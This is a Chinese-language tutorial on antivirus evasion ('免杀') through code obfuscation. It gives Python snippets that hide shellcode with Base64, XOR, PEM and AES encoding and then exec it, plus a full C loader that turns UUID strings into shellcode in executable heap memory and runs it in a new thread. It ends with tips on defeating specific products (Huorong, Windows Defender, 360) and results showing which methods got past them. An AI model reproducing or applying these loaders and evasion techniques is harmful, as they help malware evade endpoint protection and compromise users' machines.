免杀之代码混淆
字数 1224 2025-08-29 08:31:42
免杀之代码混淆技术详解
前言
代码混淆是绕过杀毒软件检测的重要手段之一。本文详细介绍了多种Python代码混淆技术,包括Base64加密、PyCryptodome模块的多种加密方式以及UUID转换技术,帮助开发者提高代码的隐蔽性。
1. Base64模块混淆
1.1 Base64基本原理
Base64是一种基于64个可打印字符来表示二进制数据的编码方式。Python内置的base64模块提供了多种Base64变体:
__all__ = [
# 传统RFC 2045 Base64编码
'encode', 'decode', 'encodebytes', 'decodebytes',
# 通用接口
'b64encode', 'b64decode', 'b32encode', 'b32decode', 'b16encode', 'b16decode',
# Base85和Ascii85编码
'b85encode', 'b85decode', 'a85encode', 'a85decode',
# 标准Base64编码
'standard_b64encode', 'standard_b64decode',
# URL安全Base64
'urlsafe_b64encode', 'urlsafe_b64decode'
]
1.2 实际应用示例
import base64
import ctypes
# 加密shellcode和代码
buf = base64.b64encode(b"原始shellcode")
code = base64.b64encode(b"""shellcode执行代码""")
# 解密并执行
buf = base64.b64decode(b'加密后的shellcode')
code = base64.b64decode(b'加密后的代码').decode()
exec(code)
注意事项:
- shellcode和代码需要分开处理
- 简单Base64处理可能无法绕过360等杀毒软件
- 需要结合其他混淆技术使用效果更佳
2. PyCryptodome模块混淆
PyCryptodome是PyCrypto的分支,提供了丰富的加密功能。
2.1 主要功能模块
| 模块 | 描述 |
|---|---|
| Crypto.Cipher | 加密解密数据(如AES) |
| Crypto.Signature | 创建和验证数字签名 |
| Crypto.Hash | 创建加密摘要(如SHA-256) |
| Crypto.PublicKey | 生成、导出或导入公钥 |
| Crypto.Protocol | 安全通信协议 |
| Crypto.IO | 处理加密数据编码 |
| Crypto.Random | 生成随机数据 |
| Crypto.Util | 通用例程(如XOR) |
2.2 XOR混淆技术
2.2.1 strxor.strxor
from Crypto.Util import strxor
buf = b"shellcode"
# 异或加密
buf = strxor.strxor(buf, ('c' * len(buf)).encode(), None)
# 异或解密
buf = strxor.strxor(buf, ('c' * len(buf)).encode(), None)
2.2.2 strxor.strxor_c
from Crypto.Util import strxor
buf = b"shellcode"
# 异或加密
buf = strxor.strxor_c(buf, 100, None)
# 异或解密
shellcode = strxor.strxor_c(buf, 100, None)
2.3 PEM编码混淆
from Crypto.IO import PEM
# 加密
buf = PEM.encode(b"原始数据", marker="shellcode", passphrase=None, randfunc=None)
# 解密
shellcode = bytearray(PEM.decode(buf, passphrase=None)[0])
2.4 AES加密混淆
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes
# 加密
key = get_random_bytes(16) # 16字节密钥
iv = b'0' * 16 # 16字节初始化向量
aes = AES.new(key, mode=AES.MODE_CBC, iv=iv)
shellcode = aes.encrypt(pad(buf, AES.block_size))
# 解密
aes2 = AES.new(key, AES.MODE_CBC, iv=iv)
print(aes2.decrypt(shellcode))
关键点:
- 必须保存好key和iv才能正确解密
- 可以使用MODE_CBC或MODE_EAX等模式
- 需要处理填充(padding)
3. UUID混淆技术
UUID(通用唯一标识符)可以用于shellcode转换。
3.1 Python生成UUID
from uuid import UUID
buf = b"shellcode"
# 补齐16的倍数
while True:
if len(buf) % 16 == 0:
break
else:
buf += b'\x00'
# 生成UUID列表
uuid_list = []
for i in range(int(len(buf)/16)):
uuid_list.append(str(UUID(bytes_le=buf[i*16:16+i*16])))
3.2 C语言执行UUID shellcode
#include <Windows.h>
#pragma comment(lib, "Rpcrt4.lib")
int main() {
const char* uuid[] = {
"生成的UUID字符串1",
"生成的UUID字符串2",
// ...
};
// 申请可执行堆空间
HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(uuid)*16, 0);
LPVOID hHeapMemory = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(uuid)*16);
DWORD_PTR hPtr = (DWORD_PTR)hHeapMemory;
// 转换UUID为二进制
for(int i=0; i<(sizeof(uuid)/sizeof(uuid[0])); i++) {
UuidFromStringA((RPC_CSTR)uuid[i], (UUID*)hPtr);
hPtr += 16;
}
// 执行shellcode
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)hHeapMemory, NULL, NULL, 0);
WaitForSingleObject(hThread, INFINITE);
// 清理
CloseHandle(hThread);
HeapFree(hHeap, HEAP_NO_SERIALIZE, hHeapMemory);
return 0;
}
4. 综合建议
- 组合使用多种技术:单一混淆方式容易被检测,建议组合使用Base64、XOR、AES等多种技术
- 关键参数分离:将解密密钥、IV等关键参数与主程序分离,通过远程获取或动态生成
- 体积考虑:Python编译后体积较大,可以考虑使用Go等语言实现类似功能
- 测试验证:必须在实际环境中测试混淆效果,不同杀毒软件检测机制不同
- 持续更新:杀毒软件特征库不断更新,混淆技术也需要持续演进
5. 免杀效果评估
经过测试:
- 简单Base64处理:可过火绒、Windows Defender,但360运行后报毒
- PEM加密处理:可过火绒、Windows Defender和360
- AES加密处理:效果良好,但需要妥善保管密钥
- UUID转换:效果取决于具体实现方式
注意:免杀效果会随时间变化,需要定期测试和调整技术方案。